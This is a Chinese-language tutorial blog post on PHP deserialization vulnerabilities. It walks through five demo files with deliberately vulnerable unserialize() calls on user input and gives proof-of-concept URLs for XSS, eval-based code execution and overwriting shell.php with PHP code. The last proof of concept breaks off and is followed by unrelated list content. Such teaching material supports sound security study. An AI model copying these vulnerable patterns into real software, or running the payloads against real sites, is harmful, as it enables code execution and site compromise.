五个demo案例带你学习PHP反序列化漏洞
一直想研究下php反序列化漏洞,花了几天时间做了个简单的了解。。写篇文章记录下。
直白点就是围绕着serialize和unserialize两个函数。
一个用于序列化,一个用于反序列化。
我们通常把字符串/数组/对象进行序列化,然后再反序列化被序列化的字符串/数组/对象
简单写个demo1.php
<?php
$a="test"; //字符串
$arr = array('j' => 'jack' ,'r' => 'rose'); //数组
class A{
public $test="yeah";
}
echo "序列化:";
echo "</br>";
$aa=serialize($a);
print_r($aa);
echo "</br>";
$arr_a=serialize($arr);
print_r($arr_a);
echo "</br>";
$class1 = new A(); //对象
$class_a=serialize($class1);
print_r($class_a);
echo "<br/>";
echo "反序列化:";
echo "<br/>";
print_r(unserialize($aa));
echo "</br>";
print_r(unserialize($arr_a));
echo "</br>";
print_r(unserialize($class_a));
?>
如果说反序列化可能带来安全问题,那么一定是序列化构造了危险代码,当进行反序列化相当于解码操作的时候自动执行了。
我们本地测试下,当尝试序列化一段xss代码的时候,当它进行反序列化的时候会自动执行xss:
代码:
<?php
$a="test"; //字符串
$arr = array('j' => 'jack' ,'r' => 'rose'); //数组
class A{
public $test="<img src=1 onerror=alert(1)>";
}
echo "序列化:";
echo "</br>";
$aa=serialize($a);
print_r($aa);
echo "</br>";
$arr_a=serialize($arr);
print_r($arr_a);
echo "</br>";
$class1 = new A(); //对象
$class_a=serialize($class1);
print_r($class_a);
echo "<br/>";
echo "反序列化:";
echo "<br/>";
print_r(unserialize($aa));
echo "</br>";
print_r(unserialize($arr_a));
echo "</br>";
print_r(unserialize($class_a));
?>
我们可以尝试本地修改需要被序列化的字符串/数组/对象。
通过上面的小demo我们简单的了解了反序列化导致的一些安全问题。
下面是对它的深入理解:
首先解释下demo1序列化后的含义:
$a="test"; 序列化后的结果是:s:4:"test";
含义:s =string类型 4代表字符串长度,"test"代表字符串内容
$arr = array('j' => 'jack' ,'r' => 'rose');序列化后的结果是:a:2:{s:1:"j";s:4:"jack";s:1:"r";s:4:"rose";}
含义:a代表array数组类型,2代表数组长度2个,s代表string,4代表字符串长度,jack是字符串内容,依此类推。
class A{public $test="yeah"}创建对象后,序列化后的结果是:O:1:"A":1:{s:4:"test";s:4:"yeah";}
含义:O表示存储的对象(object类型),1代表对象名称有1个字符,就是A,A是对象名称,1表示有一个值,s代表string类型,4代表字符串长度,test代表字符串名称,依此类推。
我感觉我写的很详细了,下面来点案例说明反序列化漏洞吧:
魔术方法,php有一些魔术方法,参考:https://secure.php.net/manual/zh/language.oop5.magic.php
划重点,简单讲解下对反序列化有用的魔法函数,详细了解查看手册:
__construct 构造函数,创建对象时自动调用
__wakeup 使用unserialse()函数时会自动调用
__destruct 当对象被销毁时自动调用 (php绝大多数情况下会自动调用销毁对象)
写一段存在安全问题的demo:
那么我用__wakeup演示下,__destruct也可以,因为__destruct 会被自动调用
demo2.php
<?php
class A{
var $test = "demo";
function __wakeup(){
echo $this->test;
}
}
$a = $_GET['test'];
$a_unser = unserialize($a);
?>
发现反序列化可控序列化代码,并且一旦反序列化会走魔法方法__wakeup并且输出test
构造序列化poc:
$b = new A();
$c = serialize($b);
echo $c;
输出:O:1:"A":1:{s:4:"test";s:4:"demo";}
demo是$test变量,尝试修改$test的值是<img src=1 onerror=alert(1)>
注意前面的长度:
构造poc: http://127.0.0.1/demo2.php?test=O:1:"A":1:{s:4:"test";s:28:"<img src=1 onerror=alert(1)>";}
直接导致xss攻击。如果__wakeup中不是echo $this->test; ,是eval(*)那么就是任意代码执行危害巨大!
我们来尝试修改echo改成eval这种php执行代码函数:
<?php
class A{
var $test = "demo";
function __wakeup(){
eval($this->test);
}
}
$b = new A();
$c = serialize($b);
echo $c;
$a = $_GET['test'];
$a_unser = unserialize($a);
?>
直接构造poc:
http://127.0.0.1/demo2.php?test=O:1:"A":1:{s:4:"test";s:10:"phpinfo();";}
使用pyhhon判断长度很方便
如果把10改成11就不能正常执行:
序列化要一一匹配。
关于文件操作结合反序列化导致的安全问题:
网站根目录存在shell.php
demo3.php
<?php
//为显示效果,把这个shell.php包含进来
require "shell.php";
class A{
var $test = '123';
function __wakeup(){
$fp = fopen("shell.php","w") ;
fwrite($fp,$this->test);
fclose($fp);
}
}
$a= new A();
print_r(serialize($a));
$class1 = $_GET['test'];
print_r($class1);
echo "</br>";
$class1_unser = unserialize($class1);
?>
构造poc:
http://172.16.6.231/fanxulie/demo3.php?test=O:1:"A":1:{s:4:"test";s:18:"<?php phpinfo();?>";}
测试发现当使用unserialize()的时候会自动调用魔术方法__wakeup或__destruct,所以往往安全问题都在__wakeup和__destruct魔术方法中。那么__construct()构造方法就没利用价值吗?非也,非也。如果__wekeup创建了对象,那么就会自动调用__construct(),演示例子:
demo4.php
<?php
require "shell.php";
class B{
function __construct($test){
$fp = fopen("shell.php","w") ;
fwrite($fp,$test);
fclose($fp);
}
}
class A{
var $test = '123';
function __wakeup(){
$obj = new B($this->test);
}
}
$class1 = $_GET['test'];
echo "</br>";
$class1_unser = unserialize($class1);
?>
构造poc:http://172.16.6.231/fanxulie/demo4.php?test=O:1:"A":1:{s:4:"test";s:18:"<?php phpinfo();?>";}
首先unserialize()会自动调用__wakeup(),__wakeup中创建了对象,从而自动调用了__construct(),会执行__construct()内的操作。
利用普通成员方法的反序列化漏洞研究:
上面讲的都是基于魔术方法下的敏感操作导致的反序列化导致的安全问题。但是当漏洞/危险代码存在在类的普通方法中,该如何利用呢?
demo5.php
<?php
class maniac{
public $test;
function __construct(){
$this->test =new x1();
} function __destruct(){
$this->test->action();
}
}
class x1{
function action(){
echo "x1";
}
} class x2{
public $test2;
function action(){
eval($this->test2);
}
} $class2 = new maniac();
unserialize($_GET['test']);
?>
我们发现类的普通方法调用eval函数,这个函数很危险,如果可控就可能造成代码执行。
通过代码发现$_GET['test']可控,因为使用unserialize()会自动调用__destruct(),所以他会先调用action()函数,然后会走到x1类和x2类,而安全问题在x2类中,构造如下序列化代码:
serialize_demo5.php
<?php
class maniac{
public $test;
function __construct(){
$this->test = new x2();
}
} class x2{
public $test2="phpinfo();";
} $class1 = new maniac();
print_r(serialize($class1))
?>
序列化值:O:6:"maniac":1:{s:4:"test";O:2:"x2":1:{s:5:"test2";s:10:"phpinfo();";}}
构造poc:
五个demo案例带你学习PHP反序列化漏洞的更多相关文章
- 通过WebGoat学习java反序列化漏洞
首发于freebuff. WebGoat-Insecure Deserialization Insecure Deserialization 01 概念 本课程描述了什么是序列化,以及如何操纵它来执行 ...
- 《metasploit渗透测试魔鬼训练营》靶机演练之第五章实战案例KingView 6.53版本CVE-2011-0406漏洞
在一个笔记本上开两个虚拟机有点卡,而且太麻烦,就把metasploit的目标靶机放在别的机器上了,ip自己配置了一下, 目标主机:192.168.137.254 入侵机:192.168.137.253 ...
- 程序员带你学习安卓开发-XML文档的创建与解析
这是程序员带你学习安卓开发系列教程.本文章致力于面向对象程序员可以快速学习开发安卓技术. 上篇文章:程序员带你学习安卓开发系列-Android文件存储 因知识连贯性推荐关注头条号:做全栈攻城狮.从头开 ...
- 程序员带你学习安卓开发系列-Android文件存储
这是程序员带你学习安卓开发系列教程.本文章致力于面向对象程序员可以快速学习开发安卓技术. 上篇文章:.Net程序员快速学习安卓开发-布局和点击事件的写法 主要讲解了布局和点击事件的写法. 上篇文章补充 ...
- 程序员带你学习安卓开发,十天快速入-对比C#学习java语法
关注今日头条-做全栈攻城狮,学代码也要读书,爱全栈,更爱生活.提供程序员技术及生活指导干货. 如果你真想学习,请评论学过的每篇文章,记录学习的痕迹. 请把所有教程文章中所提及的代码,最少敲写三遍,达到 ...
- 小案例带你揭秘JS事件
小案例带你揭秘JS事件 ### 什么是事件? 在js中一个事件的组成由那些呢? 谁触发事件:事件源 触发什么事件: 事件的类型 触发事件干什么事:事件处理函数 事件传播的过程 捕获阶段 就是从wind ...
- C#曲线分析平台的制作(五,Sqldependency+Signalr+windows 服务 学习资料总结)
在前篇博客中,利用interval()函数,进行ajax轮询初步的实现的对数据的实时显示.但是在工业级别实时显示中,这并非是一种最好的解决方案.随着Html5 websocket的发展,这种全双工的通 ...
- .NET高级代码审计(第五课) .NET Remoting反序列化漏洞
0x00 前言 最近几天国外安全研究员Soroush Dalili (@irsdl)公布了.NET Remoting应用程序可能存在反序列化安全风险,当服务端使用HTTP信道中的SoapServerF ...
- ref:PHP反序列化漏洞成因及漏洞挖掘技巧与案例
ref:https://www.anquanke.com/post/id/84922 PHP反序列化漏洞成因及漏洞挖掘技巧与案例 一.序列化和反序列化 序列化和反序列化的目的是使得程序间传输对象会更加 ...
随机推荐
- 20160222.CCPP体系具体解释(0032天)
程序片段(01):宽字符.c+字符串与内存四区.c 内容概要:宽窄字符 ///宽字符.c #include <stdio.h> #include <stdlib.h> #inc ...
- CXF、Spring整合的SOAP Web Service服务端
1.建工程,导入CXFjar包 2.服务接口 package com.cxf.soap; import java.util.List; import javax.jws.WebService; @We ...
- java 调用ant的自己定义task,默认不是build.xml 的一点问题
java 调用ant的自己定义task, File buildFile = new File(".//ee-build.xml"); // 创建一个ANT项目 ...
- MySQL 数据库 的安装和基本管理
03-MySql安装和基本管理 本节掌握内容: mysql的安装.启动 mysql破解密码 统一字符编码 MySQL是一个关系型数据库管理系统,由瑞典MySQL AB 公司开发,目前属于 Orac ...
- FFT用到的各种素数
int MOD; inline int mul(int a, int b){ return (long long)a * b % MOD; } int power(int a, int b){ ; ) ...
- 微软下一代站点开发框架:ASP.NET MVC 6 新特性揭秘
国内第一个<微软下一代站点开发框架:ASP.NET MVC 6 新特性揭秘 >课程 微软特邀讲师 徐雷!周六晚8点YY预定:id=28447" href="htt ...
- MySQL的简单优化
一.如何发现需要优化的SQL 主要使用MySQL的慢查日志对有效率问题的SQL进行监控 第一步:启动慢查日志的监控 打开开关,将未使用索引的查询记录到慢查日志中 设置查询时间,当查询时间大于这个值,就 ...
- Mac JDK 多版本共存
1. 安装各JDK版本,安装后通过Java -version检测是否安装好 2. 打开~/.bash_profile,没有的话创建 vim ~/.bash_profile ...
- js中的逻辑与(&&)与逻辑或(||)
var foo = 1; var bar = 0; var tar = false; var baz = 2; 一.js中的逻辑与(&&) 1.当第一个数为true时,返回第二个数: ...
- express 中文文档
express() 创建一个express应用程序 var express = require('express'); var app = express(); app.get('/', functi ...